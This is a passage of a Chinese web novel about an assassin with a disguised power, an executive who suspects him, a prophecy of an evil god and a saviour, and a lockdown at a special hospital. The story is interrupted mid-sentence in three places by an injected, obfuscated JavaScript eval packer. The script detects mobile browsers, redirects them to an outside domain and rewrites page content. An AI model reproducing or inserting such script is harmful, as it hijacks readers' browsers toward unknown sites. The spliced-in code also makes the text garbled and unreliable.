谱系划分的结果不出所料,陆颉深吸口气,危险的征兆化作太阳穴处砰砰作响的跳动,他竭力稳住心跳脉搏,将视线落在路九观身侧地面,紧紧盯住对方脚下阴影的轮廓,同时后脚跟划出一道偏角,重心缓慢下沉。 嘀——嘀—— 封闭的室内寂静无声,只有仪器规律单调的机械音应和着陆颉一下又一下刻意压着的心跳,像是某种秘而不宣的倒计时。 嘀嘀——嘀嘀嘀嘀—— “谱系划分失败,重复,谱系划分失败!” 越来越急促尖锐的鸣告声下,失败的提示音这一次与先前都不相同,陆颉心里一紧,几乎立刻做好了暴起搏杀的准备—— “取消谱系鉴定。” 就在这时,冷淡而短促的命令划破空气,黑色手套轻点在检测仪器的面板上,不知操作了什么,不断嗡鸣的仪器骤然安静,接着响起的声音变成了一道陆颉从未听过的冷冽女声。 “虹膜验证通过,执行官权限验证通过,异能验证通过。” “路九观,欢迎回到Light。” 房间四角闪烁的监控悄然熄灭,整个异能检测科似乎在这一刻发生了某种隐秘的变化,形成了一个全新的,不为人知的秘密空间。 陆颉后退一步,脸上浮现出真实的,毫无掩饰的惊讶。 这就是那个异管局内部系统的人工智能Light? “你好,陆颉,欢迎回到Light。” 不知是不是陆颉的错觉,那道清冽的女声似乎带着轻渺而悠远的笑意,用一种堪称温柔的语调开口。 “恭喜你觉醒异能,现在为你进行异能者信息入库。” “异能名为:净化。” “你的异能谱系归类为——” “第五谱系:神授。” “……” 陆颉不着痕迹地垂下眼睛,遮住眼底的错愕。 净化…… 怎么会是净化? 12. 救世主? “我的判断没错,你的异能果然也在谱系之外。” 在Light出现之后,路九观的状态肉眼可见地放松下来,脸上甚至挂起了明显的笑意。 “第五谱系,你应该知道是什么意思?” 陆颉懒得理会这种幼稚的一问一答,找了个椅子坐下来,慢吞吞地抬起下巴。 那意思是我知道,但我要你说。 “有一部分异能极其特殊,不属于精神、控制、特质、变化四大谱系,被一并归入到第五谱系,也就是不存在的谱系中。” 路九观似乎心情很好,完全没有计较陆颉的再三挑衅,自己说了下去。 “不存在的谱系,容纳了这个世界上最危险最不可预测的所有异能。” 或者破坏性极大,发挥到极致将对社会造成不可挽回的巨大危害,或者在某方面不可替代且具有唯一性和特殊性,因此这个不存在的谱系被称为—— “神授,意思是由神明授予的能力。” 路九观的神情有些奇特,像是不敢置信,又像是如释重负。 “陆颉,你的净化异能,是目前第五谱系内唯一一个不是用于破坏,而是用来……” 他顿了顿,似乎在找一个合适的修辞,片刻后他看向陆颉,露出了一个自两人认识以来从未有过的,真挚的,松快而充满鼓励意味的笑容。 “你的异能是神明授予人类的,守护和拯救的力量。” “请你……好好使用它。” 守护与拯救? 陆颉在心底一哂,心想这可真是一个与他毫不相干的评价。 吞噬异能被认定为净化异能,对他来说自然是一件好事,但他深知这次异能测定一定有问题,对路九观的说法不置可否,脸上却配合地浮现起疑惑神情。 “唯一一个?” “当今世界上已经现世的第五谱系异能共有五种。” 这时Light清冽的声音响起,两人眼前的光幕闪动几下,浮现出数个异能名称。 【万物】【嫁接】【夺取】【神降】【净化】 陆颉若有所思地看着这份异能力清单,不意外自己看到了几个眼熟的异能。 他的目光在【夺取】和【神降】这两处顿了顿,将它们暗暗记在心里。 自从认识路九观以来,陆颉一直有个疑问。 这个号称异管局史上最强的执行官,他宿命中的敌人,传说中的救世主……对外公开的异能是特质谱系排位06的复制,还有着相当多的限制条件。 当真如此吗? 你的异能果然也在谱系之外…… 果然?也? 还有谁也在这份列表之上? “陆颉,你的能力被归类为第五谱系,是因为它可以将恶念净化,从根源上杀死恶种,而这种能力最早可以追溯到传世书中开篇的记载。” 陆颉沉默不语。 他当然知道,他甚至知道传世书上对净化异能的描述,所以刚刚才会那样错愕。 “传世书是记录着异能者历史和世界真相的史书,如今只剩下残卷,被保存在联合学院。” 路九观不知道陆颉心中所想,耐心很好地解释起来,脸上虽然依旧没什么表情,但浑身气息却平和稳定,仿佛刚刚那暴虐凶狠的血腥一面只是种错觉。 “这里面记载着异能出现的来龙去脉,以及三条关于世界终末的预言。” 陆颉看过传世书,但并不在意,而关于世界终末的内容,他只是曾经听冀云中随口说起过一嘴。 这位统领着整个世光科技集团的年轻当权者只是漫不经心地笑了笑,轻描淡写地揭过了话题。 “谁也不知道世界终末什么时候会来,但所有人都相信它一定会来。” “至于所谓的预言——听听罢了。” 冀云中的态度导致陆颉对所谓的世界终末和预言始终不以为意,从没有主动去了解过,但现在看路九观的样子,显然在对方看来预言并非毫无意义。 “Light.” 见他微微蹙眉,显然有些不信的模样,路九观也没有卖关子,在他的呼唤下,两人眼前的光幕再度变化,显露出一页残缺不全的破旧书页。 那上面依稀可辨认出模糊的字句。 【邪神■■苏醒,唯有救世主可以■■他复苏。】 【邪神与救世主不可共存。】 【救世主将携着净化之力,■■恶念,让世间重归原初。】 尽管有几个字因为书页的缺损空缺,但依旧可以推测出大概的涵义。 让陆颉在意的是其中唯一没有任何缺漏的一句。 【邪神与救世主不可共存。】 这与真言之书扉页的那句话一模一样。 “这就是传世书的第一个篇章,记载着关于世界终末的预言,而通过这则预言可以推导出一个结论。” Light语调平稳地继续说道,与此同时,光幕再度变幻,呈现出新的文字。 【拥有净化异能的人】 【就是救世主】 * 陆颉心不在焉地结束了异能评定。 关于他的异能认定,不用想必然是有人动了手脚,至于是世光科技运作蒙蔽了Light,还是这个异管局的人工智能本身就已经倒戈,线索太少,目前得不出结论,暂时放在一边。 而传世书与真言之书同时提到的邪神与救世主,说来说去也就是那么一回事,无非是指他与路九观必定势不两立,非得分个你死我活—— 这也没什么,他虽然挺欣赏路九观,但在生存面前欣赏根本算不了什么。没有邪神和救世主的身份,他们原本也是站在对立面的死敌,按照目前异管局和组织之间的关系,总有一天他和路九观会真的分出生死。 真正让陆颉感到混乱的,是所谓的“拥有净化异能的人就是救世主”。 这怎么可能? 他是怀疑路九观的异能有问题,但路九观的异能绝不是什么净化——那么这个预言……究竟是怎么回事? “请前往体检科进行体检。” 冷冰冰的机械音随着他的脚步声响起,满脑子都是救世主的陆颉按照地面标识一路前行,漫不经心地踏入体检科,发现这是一间布满仪器的无人实验室。 呵,体检。 想做什么还真是一点儿都不屑于掩饰。 陆颉向四周看了一圈,心下了然,没等提示音响起就很干脆地脱掉了上衣,坐上实验台躺下,接着因为实验台冰冷的温度微微皱眉,而后很快又舒展开来,抬眼安静地注视着头顶的无影灯,在更加冰冷的仪器贴上肌肤时阖上眼睛。 “陆颉你跑实验室来干什么,体检在另一边——” 路九观在两人走出异能检测科时被一个电话叫住,匆匆处理完事情后大踏步走进实验室,看到眼前这一幕顿时一愣:“你……” “我什么?”陆颉睁开眼睛瞥了眼他,语气很随意,显然对眼下正在进行的检查并不在意,“你们的系统让我来这里体检的。” “Light已经休眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396461|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,是特殊病院的中控系统?”路九观皱眉,神经敏感地跳动起来,直觉有哪里不对劲。 “陆颉你先下来,异管局的任何体检都不会需要你躺上实验台——” “啵。” 另一边的检查恰好在这时结束,电极贴片被机械臂控制着拉开,露出底下已经被晕出红痕的肌肤。陆颉直起上半身,动作自然地拧身,线条流畅的肌肉顺着手臂和腰身轻微起伏,轻轻松松以一个难度极高的姿势取到了一旁椅背上挂着的衣服。 劲瘦的窄腰没入病号服内,将苍白的肌肤一点点掩住,陆颉垂头系着纽扣,后颈弯折出漂亮顺服的弧度,带着还没褪下的颈间勒痕。 路九观忽然觉得喉头有些干,心底升起一股说不出的怪异感觉,他偏过头盯了会儿墙边泡着内脏的培养罐才将那股奇怪的感觉压下去,再回头时陆颉已经整理好衣服站在地上,正用一种莫名的眼神看着他。 “……你盯着我看什么?” 路九观险些被口水抢到,干咳一声含糊地说道:“没什么,你要不要喝水,来的路上我顺手拿了两瓶。” “哦,好。” 陆颉不是个多么精致讲究的人,接过水仰头就喝,水珠沿着嘴角滴落到下巴,再滑过脖颈直到咽喉,最终落在喉结间,随着吞咽的动作微微一颤,再被他随手抹去。 他擦水的动作很随意甚至有些粗鲁,但他的手却很斯文漂亮,五指修长,指甲圆润,指腹柔软,是一双适合出现在琴房或者画室里的手,但此时此刻从病号服袖口伸出的纤细手腕上,却赫然有着一圈红肿的淤痕。 “……我送你回病房。”路九观有些不自在地低下头,掩饰般喝了几口水,嗓子却越来越干涩,他跟在陆颉身后回到病房,一路反复按压着前胸,总觉得自己的心脏跳动得有些别扭。 难道是因为和陆颉异能交融后产生了什么副作用? 他刚刚那一瞬间在想什么? 他为什么会觉得……觉得陆颉的样子看起来…… “叮叮!” 急促的消息提示音拯救了陷入内耗的首席执行官,路九观打开手机后看了眼时间,发现不知不觉已经到了深夜,顿时面色微变,片刻后他若无其事抬头,朝陆颉抱歉一笑。 “我有点事情需要出去一趟,会在一小时内回来。” 说着他犹豫了一下,看了看两人间不算远的距离,已经半转的身体还是掰正过来,单手揽过陆颉没有受伤的那半边肩膀,往自己的方向轻轻一带。 他们的肩碰着肩,身体相触的刹那异能再一次完成交融,路九观偏头,凝视着在自己呼吸间逐渐染上绯色的雪白颈项,声音里闪过一瞬不易察觉的暗哑。 “别怕,待在这里谁都不要理会,等我回来。” 说完他放开掌下单薄的肩头,走出门外,轻轻呼出一口气,眼底的神情一点点暗沉下来,头也不回地离开。 “叮——” 与此同时,一门之隔的病房内,陆颉同样握着手机,在看清信息内容的同时神色微凛,接着迅速放松下来,神态自然地环顾四周。 确认这间病房里所有的监控都已经不再运行之后,他拿着衣物进入浴室,飞快换下了病号服,双手攀着高窗一用力,整个人就以一种不可思议的柔韧度倒滑出仅有四十公分见方的窗口。 在脱离的瞬间他用脚尖踢开花洒,水流声掩住窗户开合的动静,下一秒他无声无息落在正对浴室的树丛间,身形没入夜色,很快消失不见。 他的时间同样也只有一个小时。 13. 两个人的赴约 夜色很深,黯淡的月光扫过一排排墓碑,停留在路九观身前,照亮了那上面短短的一行碑文。 【在永眠中,望见长夜后的破晓】 这里是市民墓园。 无人认领的无名公墓区。 橙黄的灯影一晃而过,守墓人的脚步声渐渐远去,路九观耐心等了会儿,直到周围再度陷入完全的寂静,这才蹲下来,用手拨开墓碑上的落叶,凝视着这座除了碑文外什么都没留下的坟墓。 “抱歉,今天有点事来晚了。这次想介绍一个朋友给你们,我和他约定好了,但不知道他会不会来。” 路九观从怀里掏出一束扎得整整齐齐的蓝花楹,端端正正放在墓碑前,月色落向他的肩头,将轮廓锋利的脸庞镀上浅浅银灰,总是暗沉而冷厉的眼睛里也映出柔软光晕,温柔地落向身前的这片黑暗。 “虽然我们阵营不同,立场相对,我不认可他做过的事,但你们见到他就知道,他其实是个很好的人。” 路九观席地而坐,完全没有在意象征着首席执行官的制服染上灰尘与碎叶,他抚摸着墓碑,轻声开口。 “我应该和你们说过的,他是组织培养的杀手,但从小生活在那样的环境中,却没有变成一个毫无是非善恶的嗜杀之人。他会保护孩子,会帮老人追回被抢走的包,他从不滥杀,甚至我发现他很多次偷偷放过任务目标……我知道他不愿意成为组织的帮凶。” 夜风呜呜地吹过,像是深沉的叹息。 “你们也觉得我该把他拉回来,对吗?”路九观也轻轻叹出一口气,“但组织的手段我们都知道,一定有确保他无法背叛的保险……” “就在今天,我们又一次在任务里见面,但他没有选择出手,最终任务失败离开,我不知道他是不是会因此而受到惩罚。他时间观念很好,从不迟到,但现在已经快到了约定的时间。” 路九观抬腕看表,分针逐渐与时针在12点的位置重合,他知道自己今晚可能等不到另一个人了。 “我不希望他再继续走在错误的路上,他是被控制的,他罪不至死,他的能力可以为这个世界做一些更好的事——但我有我的职责,我们终有一天不得不生死相对……我希望在那之前,他还有机会回头。” 呜咽的风里传来低低的,沉重而迷惘的絮语,在月光照不到的黑暗深处,陆颉远远停下脚步,透过树影缝隙沉默地望向那里。 他原本是要来赴约的,但现在没有了噬光的面具,他没法隐藏身份,也就不能出现在路九观面前。 至于路九观那些想要带他离开组织的念头,他当然知道,但他同样不能给出回应,眼下心照不宣的留手和碰面已经是他能做到的极限。 路九观只知道组织,但组织不过是被有意公开的冰山一角,海面下藏着庞大到几乎无可撼动的深影,此时的他们还远远不能与之抗衡。 所以他必须拥有不受到任何限制的,可以自由使用的,绝对强大的力量。 “最近发生了很多事,今天我遇见了斯通……我希望自己的选择是对的。” 低低的诉说一句又一句响起。 在无人的深夜里,在寂冷的夜风下,在没有姓氏与名字的墓碑前,在卸下白日沉重的责任后,这个向来刚硬铁血的执行官露出绝不会被外人窥见的脆弱模样。 “我一直在找当年那个孩子,如果他还活着,应该也和我这个朋友一样大,我想有一天可以带着他们一起来看看你们。” 月色下,晶莹的辉光落进黑色眼睛,升起水气氤氲的大雾。 “爸爸妈妈,十年了,我很想你们。” 树影下,陆颉神情变得复杂,他在心底叹息一声,悄无声息地转身离开。 邪神与救世主无法共存,真到了不得不动手的那一刻,他相信自己和路九观都不会犹豫。 但就在刚刚那一瞬间,他却好像第一次产生了动摇。 * “虹膜验证通过,准许进入。” 当站在世光科技集团地底深处的组织基地入口时,陆颉已经收拾好了所有不该有的情绪,他根据得到的指示一路到达基地某处隐蔽的休息室,在门外看到了戴着狼首面具的男人。 “主人在里面等你。” 代号为“狼首”的男人面无表情开口,面具后的眼睛里却透出隐晦的忧色,陆颉朝他笑了笑,抬步走入休息室,听到身后传来咔哒一声轻响。 房门锁上了。 休息室内的装潢简约却精致,与基地内的单调冰冷截然不同,整体以深红和铁黑为底色,是陆颉极为熟悉的风格。 他放轻脚步,让厚实的地毯吸收掉鞋底触地的摩擦声,径直走向书桌旁摆着的一组沙发,看到地面散落着几个缎面软垫,上面绣着世光科技集团的标志衔尾蛇。 沙发前的茶几上摆着他的噬光面具,面具旁是一个手提式便携冷藏箱,箱盖开着,里面是两支没有拆封的针剂。 陆颉心底有些疑惑,走近弯下腰,看到其中一支外壳带着熟悉的标签,他伸手取过那支针剂虚虚握在掌心,垂下眼睛,有一瞬间的犹豫。 “今天来得晚了,小颉,你一向很守时。” 清雅温润的嗓音从背后响起,陆颉动作一顿,放下那支针剂,回过头时扬起漫不经心的笑容,抱怨般开口道。 “哥哥,不是我不想按时来,只是我现在被关在特殊病院,那个路九观看我看得太紧,我也是好不容易趁着他外出才能溜出来。” 身后没有人,远在地球另一端的冀云中通过虚拟投影现身,似乎正在书桌前批阅文件,不时传来钢笔划过纸面的刮蹭声音,他没有开口,陆颉也不再说话,自顾自在沙发上坐下来,把玩着自己的噬光面具。 “路九观去了哪里?” 陆颉等了一会儿才听到头顶上方传来的问话,他注视着镶嵌在面具眉心部位的红宝石,看到其中自己懒散地轻笑。 “深夜紧急出动,一定是哪里又有什么恶性事件需要我们的路大执行官亲自出马——总不至于他闲着没事要去吃夜宵?” 冀云中像是被他的玩笑话逗乐,肩头微微耸动,声音里也染上几分笑意:“既然你的时间有限,先完成正事。” “过去一年你的情况稳定了很多,但李貌告诉我两天前你又发病过一次。小颉,桌上是你这个月的药,以后还是恢复成每月一次,会有人给你按时送来。” 投影那头的人没有抬头,语调稳定而平缓。 “另一支是解决审判庭副作用的缓释剂,一起注射了吧。” “……” 陆颉没有应声,也没有去拿针剂,他微微张了张口,刚想要说些什么,簌簌的钢笔声却在这时忽然一停。 “怎么了?不想用吗?还是不需要了?在特殊病院里发生了什么,暂时解决了你的副作用?” 指节轻叩桌面的声音不紧不慢响起,伴随着不急不徐,精准到令人心惊的推断。 “是谁和你进行了临时异能融合?” “……” 月色下路九观难得脆弱的模样浮现在眼前,陆颉将即将说出口的话咽下去,抬起脸朝虚空中的投影摆出敷衍神色,拉长了语调慢吞吞地开口。 “只是临时应急而已,不然我可没法走出来……我当然不会依靠这种方式维持24个小时,将选择权置于他人手中。” 他说着伸出手,漂亮修长的五指轻轻巧巧勾住两支针剂,撕开包装,没有犹豫地先后扎在后颈,稳定没有一分颤动。 房间里安静下来,虚空中的投影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396462|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向后靠在沙发椅内,默不作声观察着他的状态。 陆颉向后仰去,将后脑勺死死磕在沙发背上,眼前的世界在剧痛来临的瞬间模糊溃散成无数光点,顺着他每一根颤栗的神经刺入大脑,将所有思维都搅成碎片。 “扑通。” 噬光面具坠入厚实的地毯,滚落在陆颉脚边,鲜亮艳丽的红宝石折射着头顶的暖黄灯光,照亮黑发青年黯淡无光的眼睛。 “……我该回去了。” 似乎很长,又似乎很短的片刻时间后,涣散的猩红瞳孔终于聚焦,陆颉抬起被冷汗浸透的脸,踉跄起身,看向投影中埋首工作的男人。 “迟了路九观会怀疑。” “注意休息,小颉,调整好你的状态。”片刻后,投影里的男人盖上笔帽,语调温和地开口,“异能的问题解决,进入联合学院是顺势而为,寻找原初恶种的事不必着急,一切小心为上。” 陆颉将噬光面具扣在脸上,低低“嗯”了一声,拉开门的同时听到身后传来一句带着笑意的提醒。 “路九观两分钟前已经从市民墓园离开,你确实需要抓紧时间了,小颉。” * “……” 陆颉绷着脸坐在飞行器内,看着下方某道飙车飞驰的黑衣执行官身影,喃喃骂了句脏话。 他确定自己去墓园的一路上没有留下任何痕迹,但冀云中最后一句话的意思显然是对今夜自己的行踪了如指掌。 他身上的定位装置早在十年前就摘除干净,不可能被发觉才对。 究竟是哪里出了问题—— “轰!” 摩托车风驰电掣划破夜色,急停在异管局内通往特殊病院的关卡前,陆颉深吸口气,暂时抛开困惑,自飞行器上一跃而下。 这里是组织能够秘密潜入的最深处,距离病房还有一段距离,但是不要紧,因为路九观进特殊病院有的是手续和身份验证。 他还有……一分二十秒的时间! “……虹膜验证……通过。” “路九观,欢迎回到Light。” 第十秒,陆颉在特殊病院一墙之隔的水岸边潜行,听到夜风送来模模糊糊的清冽女音,扯了扯嘴角。 他就知道路九观也是违规操作,这家伙和那个人工智能之间一定有鬼。 第二十秒,特殊病院所有防御机制被解除,陆颉脚步不停,直奔病房所在的方位。 他的压力大减,但路九观的面前更加畅通无阻,原本预计的时间被缩短至五十五秒—— 要来不及了! 第三十秒,陆颉不再尝试绕路,冒险翻过围墙,落地瞬间正对一尊光能炮,感慨地拍了拍这块能源被断后的破铜烂铁。 第四十五秒,陆颉攀在病院十七层外墙,听到电梯轿厢上升的震荡,加速向上攀爬。 他的病房在三十七层,还有不到十秒! 第五十二秒,他的手指勾到浴室高窗。 第五十三秒,窗户被翻开的动静与病房开门声重叠,皮靴敲地的声响迅速逼近。 第五十四秒,陆颉滑入淋浴间,毫不犹豫撕开身上所有衣物,用异能震为齑粉,而走入病房的路九观脚步一顿,骤然加快。 第五十五秒,置物架被打翻,瓶身飞旋中沐浴露飞溅而出与流水碰撞,淡淡的薄荷香味瞬间弥漫,同一时间,浴室门被轰然撞开! “陆颉!我感应到异能波动,你怎么——” “……路九……观。” 陆颉深吸口气,闭上眼睛,在路九观闯入的瞬间装作体力不支,带着一身水汽直直向前扑倒—— “路九观……” “——小心!” 准确无误。 他跌进了路九观的怀里。 14. 特殊病院(一) “陆颉,你没事吧?” 氤氲的水汽间,陆颉听到头顶上方传来关切的询问,扶住他身体的力度轻柔而有力,避开了伤口的位置,但虚虚按在小腹的掌心却带着滚烫的热度,正毫不客气地试探他的异能核心。 还真是一如既往的谨慎和多疑。 陆颉在心底啧了声,没有回答,只是喘息着将额头埋入路九观的制服领口,闻到浸透了寒意的淡淡花香。 是放在墓碑前的那一束蓝花楹。 一时间呜咽的风声仿佛又在耳边响起。 “这次想介绍一个朋友给你们。” “我一直在找当年那个孩子……我想有一天可以带着他们一起来看看你们。” 叹息在胸腔内震荡出低沉的回音,陆颉闭上眼睛,五指勾住执行官制服绣着金线的衣襟,指尖用力到发颤,仿佛是克制不住痛楚般从喉间溢出颤音。 “怎么异能突然失控了?坚持住,我扶你去休息。” 呜咽的风声又化作水汽,在狭小的空间内来回撞击,像是能将两人间泾渭分明的界限也模糊。 陆颉偏过头,避开路九观落向脸侧的指尖,被黑发盖住的后颈上交叠的针眼在缓慢消失。 他的伪装没有一丝破绽,路九观完全被他骗了过去。 他应该为扳回一局感到得意、暗爽,大肆嘲笑某人傻乎乎自作多情而不自知,被自己耍得团团转——但不知为何陆颉却觉得心里空落落的,就好像缺了一角,被犹豫和别扭交缠着填满,让他只剩下疲惫和倦怠。 他真的很累了。 “我有点累……” 听到陆颉声音虚弱开口的时候,路九观正不动声色收回自己的异能,他和陆颉目前仍在异能融合的过程里,这让他可以轻松地用自己的力量进行安抚——更进一步的,试探陆颉的异能究竟有没有失控。 踏入浴室的刹那,路九观闻到一股极淡的花香,夹杂在薄荷味的香波中若隐若现,这让他立刻想到了夜色下寂静的墓碑和不远处空阔的树林,那里面的溪边有一片蓝花楹,而他确实在下水口的边缘发现了一点被碾碎到几乎看不见的幽蓝花冠。 心底隐约的怀疑瞬间到达顶峰。 “陆颉,你没事吧?” 他借着扶住黑发青年的机会试探,感受到伏在怀中的人因为隐忍痛苦不住颤栗,无数细密晶莹的水珠自光裸的身体滚落,润湿掌下平坦的小腹,劲瘦的窄腰紧紧贴在他胯间,几乎能被一手环住。路九观轻吸口气,压住莫名升起的口干舌燥,发现庞大到可怕的异能正在陆颉身体内部左冲右突,是完完全全异能暴动的状态—— 如果不是他们两人的异能如今可以互相安抚,陆颉恐怕会因此而直接丧命! “放松……放松,别怕。” 在人命前,怀疑也只能稍后,这一回试探变作真正的安抚,路九观不断出声稳定陆颉情绪,接着忽然感觉到衣襟处的轻微拉扯,他低头一看,在剧烈抖动的苍白指尖发现被勾出衣领的幽蓝花瓣,心底顿时一松。 是他衣服沾上的蓝花楹落在了浴室里。 看来是他想多了。 路九观轻轻呼出一口气,双臂揽过完全失去力气的黑发青年,在用浴巾擦拭过腰部的时候他动作一顿,有些不自在地偏过头。 顶尖异能带来的敏锐让掌心能清晰感受到柔软织物下弹性十足的曲线和滚烫热度,异样的触感和骤乱的呼吸顿时撞到一起,路九观只觉得自己每一次呼气吸气里都燥得要冒火,但偏偏不能放着眼前的罪魁祸首不管。 “坚持一会儿,擦干了回去休息,不然要感冒。” 已经接近半昏迷的黑发青年没有说话,只是偏过头露出毫无防备的咽喉,这种难得的示弱姿态简直是火上浇油,艰难守住底线的执行官当机立断放下浴巾,控制谱系异能发动,干燥的暖风拂过两人全身,霎时将水渍完全抹消,紧接着空气振动唤来干净衣物,盖住那具单薄瘦弱的身体,与此同时路九观一口含住零下十度的冰块,终于物理降温成功。 “来,我扶你。” 他嘶着气开口,小心翼翼护送娇贵又折磨人的小少爷回房,当两个人都安安稳稳坐定的那一刻,病房内似乎同时响起了两道重叠在一起的叹息。 真是人性与兽性备受考验的一晚。 真是演技与本能备受挑战的一晚。 在互相之间看不到的角度,两个人脸上都浮现出极度消耗心力后的放空神情,不约而同地在心底长叹一声。 终于结束了。 真是不容易啊—— “啊呜啊呜啊呜啊呜啊——” 下一刻,仿佛是故意要和他们作对那样,尖锐高频的铃声忽然自床头、窗口、屋顶响起,接着病房外的走廊红光爆闪,无数急促的脚步声忽然自走廊中传来,奔跑声,尖啸声,呵斥声混在一道骤然炸开,原本安静到近乎死寂的特殊病院在短短一瞬间陷入混乱! “二十层以下已锁定!” “去把十五层以下都清空!” “五分钟后进行投放!” 纷乱的声音透过窗户传入,陆颉与路九观对视一眼,都发现了外面的不对劲。 特殊病院里最多的是安保,最少的是病人,至于医生和护士,在他进入特殊病院期间却是一个都没见过。 然而铃声后凭空出现的人群里全部都是医生和护士,原本出现意外必定出动的安保集体缺席,那些短促古怪的话怎么听都透着危险和诡异,陆颉甚至觉得这些人看起来更像是要对病院不利。 “似乎是出现了紧急状况。” 陆颉慢慢地开口,没有说出自己的猜测,他想到了不久前自己潜入时防御系统被关闭的刹那,条件反射地升起警惕,接着便是浓浓的不解。 是路九观和Light? 他们要做什么? “不对劲,这里的防御系统被完全关闭了。”稳稳坐在椅子上的路九观皱眉看着手机,似乎也遇到了什么难解的疑惑,“不应该……” 陆颉的心重重沉了下去。 路九观的操作没有掩饰,他刚刚想要唤醒Light,但是失败了。 这意味着什么? 陆颉本能地升起极端不祥的预感。 掌管着整个异管局的人工智能突兀下线,防御系统被关闭,也就意味着特殊病院这片土地此时此刻已经完全脱离了官方的视线,失去了一切对恶念的遏制。 所有的规则、法律、制度都将失效,文明社会的根基将在一瞬间被颠覆,露出底下肮脏、自由、疯狂……和真实的土壤。 而这所有失去控制的每一个步骤,都是该死的那么令人熟悉。 ——与十年前一模一样。 那一次灾厄级恶种降临,所有一切被大火付之一炬,焦黑的土地埋葬了无数辛秘,也从此改变了他和路九观的人生。 那么这一次又会发生什么? “砰——砰砰!” 粗暴的拍门声蓦地响起,陆颉和路九观同时看向房门,不符合常理的巨力拍打下钛合金门已经出现裂隙,透出护士不耐烦的喊叫。 “开门!查房!” 陆颉倚着病床没有起身,只是静静看着逐渐不堪重负的门板,而路九观不负他望站起身,冲门外扬声道:“我是执行部首席执行官路九观,这里没有问题!” “开门!查房!”门外护士不为所动,甚至连语音语调都没有改变,继续大力哐哐拍门,“病人必须进入一级控制!” 一级控制? 陆颉挑眉望向路九观,意思是你知不知道这是什么?这些护士又是什么鬼东西? 路九观扯扯嘴角一摊手,意思是完全没听说过但绝对不是好事,他再伸手点点陆颉朝下一按,然后并指往喉间一抹,意思是等门塌了我就干掉护士,你老实待着不要添乱。 陆颉翻了个白眼,抬高下巴,做出滚蛋的手势。 路九观哟呵一声,刚要继续比划—— “开门!查房!”哐啷一声巨响,护士已经等不及破门而入,继续用不变的语音语调高喊,“病人必须进入一级控制!” “……” 陆颉沉默地看着跨入门的,身高两米挥舞着流星锤肩扛巨型针管的护士,再看向路九观。 他从路九观眼底看到了同样的大为震撼。 特殊病院怎么会养了这么一群…… “开门!查房!”巨人护士如同游戏NPC般用同样的语音语调重复着同样的开场白,“病人必须进入一级控制!” “病人已经被控制。” 陆颉刚刚直起身体,就听到路九观斩钉截铁的声音,他纳闷地看了看自己,顺手在病床旁的果盘里扒拉了一下,接着迷惑地盯住手中削好皮的猫猫头苹果。 ……谁这么无聊? “进行现状确认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396463|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,病人已经——” 护士面无表情开口,终于蹦出了不一样的句子,但话没说完路九观凌空一指,只听砰得一声巨响,倒塌的钛合金门板横飞而起将护士拍出门外,严丝合缝嵌进墙体,又在眨眼间由金属质地迅速变作白墙,与整间病房外墙融为一体,彻底盖过了走廊中再一次不依不饶响起的哐哐砸门声。 物质形态转化,典型的变化谱系异能。 再加上浴室里的控制谱系,以及沟通Light时操控信息载体的特质谱系异能…… 陆颉啃着猫猫头苹果,兴致勃勃地计算路九观一晚上用出的各类异能,在心底反复进行推算。 他可不觉得复制异能可以做到这种程度。 路九观对自己的异能究竟隐瞒了什么—— “咔哒。” 冰凉触感扣紧手腕,打断陆颉的思路,他错愕地看着忽然出现在腕间的银手铐,接着整个身子被迫向一边后仰,一只手就这样被路九观拷在了床头。 “……路九观。”他神色不善地开口,“你又在干什么?” 路九观摊摊手:“不是说要一级控制?不真的控制怎么骗得过那恶种护士?” 他竟然还一副理所当然模样。 “确认控制。” “确认完毕。” 病房外传来护士冷冰冰的确认,脚步声远去的同时走廊恢复安静,陆颉看向眼底带着明显笑意的路九观,一口恶气顿时闷在胸口。 “……你说得对。”他扯开嘴角,朝路九观咬牙一笑,“现在我被拷在这里,护士不会来查房,但万一再发生点什么——” “放心,不会让你有事的。”路九观好整以暇地拉过病床下的束缚带,比划着长度调整松紧,最后在陆颉的死亡凝视下遗憾放手,“你刚刚才异能暴动过一次,老实待在这里最安全。” “真的不想用束缚带?”跃跃欲试的执行官露出虚伪的可惜神色,“这些束缚带有助于稳定异能核心,比我的手铐好用。” 陆颉:“……” 没错,手腕上拷着的银环确实在不断平复着被他自己故意引发的异能暴动,很显然是个异常物,但它原本的形态绝非是现在这样—— 路九观这个家伙……平常一副道貌岸然的正经执行官模样,在他面前倒是一点都不装了,恶趣味和坏心眼儿简直毫不掩饰。 “不需要。” 陆颉面无表情地开口,索性向后仰靠在床头,调整成一个让自己最舒服的姿势。 